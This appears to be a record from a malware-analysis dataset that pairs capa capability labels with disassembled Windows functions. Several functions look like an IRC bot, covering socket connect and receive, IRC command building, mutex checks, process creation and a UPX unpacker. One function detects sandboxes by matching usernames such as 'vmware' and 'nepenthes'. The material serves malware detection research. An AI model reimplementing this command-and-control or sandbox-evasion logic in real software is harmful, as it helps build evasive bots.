joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004030c5
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x40427b
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.004030c5
add ebp, 0x90
leave
ret
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402cd6
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004030c5
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004030c5
add esp, 0x804
ret
call fcn.004031f5
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x402711
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004030c5
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402d4d
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.004030c5
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.004030c5
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022a5
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x40427b]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402cd6
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402cfb
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402cf4
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402d64
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402d9b
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402da3
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x403a3e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403a7d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403a7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403a7d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403a7d
cmp dword [ecx + 0x74], 0xe
jbe 0x403a7d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1145250
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x965000]
push edi
or ebp, 0xffffffff
jmp 0x1145272
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1145279
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1145268
mov eax, 1
add ebx, ebx
jne 0x114528b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x114529c
jne 0x11452bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x11452bb
dec eax
add ebx, ebx
jne 0x11452a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1145280
add ebx, ebx
jne 0x11452b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x114530d
xor ecx, ecx
sub eax, 3
jb 0x11452d3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1145342
sar eax, 1
mov ebp, eax
jmp 0x11452de
add ebx, ebx
jne 0x11452de
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x11452ac
inc ecx
add ebx, ebx
jne 0x11452ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x11452ac
add ebx, ebx
jne 0x11452f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x11452ee
jne 0x114530a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x11452ee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x114532c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x114531e
jmp 0x114526e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x114532c
add edi, ecx
jmp 0x114526e
pop esi
mov edi, esi
mov ecx, 0x8106
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x114534a
cmp byte [edi], 0xa
jne 0x114534a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x114534f
lea edi, [esi + 0xd3b000]
mov eax, dword [edi]
or eax, eax
je 0x11453c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd49e10]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd49f50]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x114537c
mov ecx, edi
jns 0x11453ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd49f54]
or eax, eax
je 0x11453c1
mov dword [ebx], eax
add ebx, 4
jmp 0x1145399
call dword [esi + 0xd49f64]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1145401
cmp al, 0xef
ja 0x11453eb
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x11453cd
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
or eax, eax
jne 0x11453da
mov eax, dword [edi]
add edi, 4
jmp 0x11453da
mov ebp, dword [esi + 0xd49f58]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1145435
sub esp, 0xffffff80
jmp 0x4a8133
Function at 0x40324c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004049a8
test esi, esi
jne 0x403282
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404a98
jmp 0x4032a0
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403150
mov edi, eax
test esi, esi
je 0x4032a0
cmp dword [ebx], 0
je 0x4032a0
dec esi
jmp 0x403289
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403994
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x466024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403a2c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403a0c
xor eax, eax
push ebp
push 0x403a05
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403a48
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403a0c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x466024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x466024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404828
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x469048], 0
je 0x404889
cmp word [0x46921c], 0xd7b2
jne 0x404851
cmp dword [0x469224], 0
jbe 0x404851
mov eax, 0x469218
call dword [0x469234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4048b0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x466030], 0
jne 0x4048a5
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405d1c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405f4c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405d9f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405f4c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405d9f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405f68
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405e28
xor eax, eax
push ebp
push 0x405e21
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405b58
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405e06
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405f88
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405e06
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e28
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405f42
cmp byte [ebp - 0xd], 0
jne 0x405e6f
cmp byte [ebp - 0x12], 0
je 0x405f42
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405e88
dec ebx
cmp byte [ebx], 0x2e
je 0x405e97
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405e87
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405f42
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405ed4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405f42
cmp byte [ebp - 0xd], 0
je 0x405f42
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405f42
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4083f4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x408446
test eax, edx
je 0x408449
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x408409
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40842f
add ecx, 4
js 0x40841f
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x40842c
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x408455
test edx, edx
jne 0x4083fc
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40b654
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b68d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404a98
jmp 0x40b696
mov eax, ebx
mov edx, esi
call fcn.004049fc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b6a0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b6c2
movzx eax, byte [esp]
jmp 0x40b6c4
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bd54
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bbcc
mov eax, dword [0x468b00]
cmp byte [eax], 0
je 0x40bdd0
mov eax, dword [0x46891c]
call fcn.0040335c
call fcn.00402fbc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408dd4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40be18
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40be06
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4688c8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x46b7f4]
call fcn.00405b00
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret